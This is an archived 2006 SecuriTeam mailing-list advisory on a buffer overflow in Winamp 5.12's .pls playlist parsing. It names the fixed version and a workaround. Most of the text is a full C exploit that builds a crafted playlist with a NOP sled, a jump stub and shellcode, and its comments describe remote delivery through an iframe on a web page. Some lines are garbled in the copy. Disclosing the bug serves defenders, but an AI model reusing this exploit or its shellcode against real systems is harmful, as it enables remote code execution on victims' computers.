

[NT] Winamp playlist Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00008.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 2 Feb 2006 10:59:41 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the S
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

- - - - -

Winamp playlist Buffer Overflow

SUMMARY

A buffer overflow within Winamp .pls playlist file allows attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

- * Winamp version 5.12

Immune Systems:

- * Winamp version 5.13

The Winamp way of handling the .pls playlist files allow attackers to craft the file tag. The file tag can be used to execute remote arbitrary code, by causing a web site for example to prompt Winamp to open the crafted .pls file.

Workaround:

Remove pls file associate with Winamp.

Exploit:

```
/*  
*  
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)  
* Bug discovered & exploit coded by ATmaCA  
* Web: http://www.spvinstructors.com && http://www.atmacasoft.com  
* E-Mail: atmaca at icqmail.com  
* Credit to Kozan  
*  
*/
```

[NT] Winamp playlist Buffer Overflow

```
/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp\_ie\_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] =
"\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xd9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";

int main(int argc, char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com &&
http://www.atmacasoft.com);
printf("\nE-Mail: atmaca\_at\_icqmail.com");
printf("\nCredit to Kozan");
.
FILE *File;
char *pszBuffer;
```

[NT] Winamp playlist Buffer Overflow

```
.  
if ( (File = fopen(PLAYLIST FILE,"w+b")) == NULL ) {  
printf("\n [Err:] fopen());  
exit(1);  
}  
  
pszBuffer = (char*)malloc(BUF_LEN);  
memset(pszBuffer,0x90,BUF_LEN);  
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);  
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);  
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);  
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);  
  
fwrite(pszBuffer, BUF_LEN, 1,File);  
fclose(File);  
  
printf("\n\n" PLAYLIST FILE " has been created in the current  
directory.\n");  
return 1;  
}  
  
/* Eof */  
  
.
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:processtree@xxxxxxxxxxxxxxxx>
Process.

The original article can be found at:

<http://www.heise.de/newsticker/meldung/68981>

http://www.heise.de/newsticker/meldung/68981.

<http://www.frstirt.com/english/advisories/2006/0361>

http://www.frstirt.com/english/advisories/2006/0361.

<http://blogs.securiteam.com/index.php/archives/259>

http://blogs.securiteam.com/index.php/archives/259

The original exploit can be found at:

<http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=71> http://www.spyinstruc

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,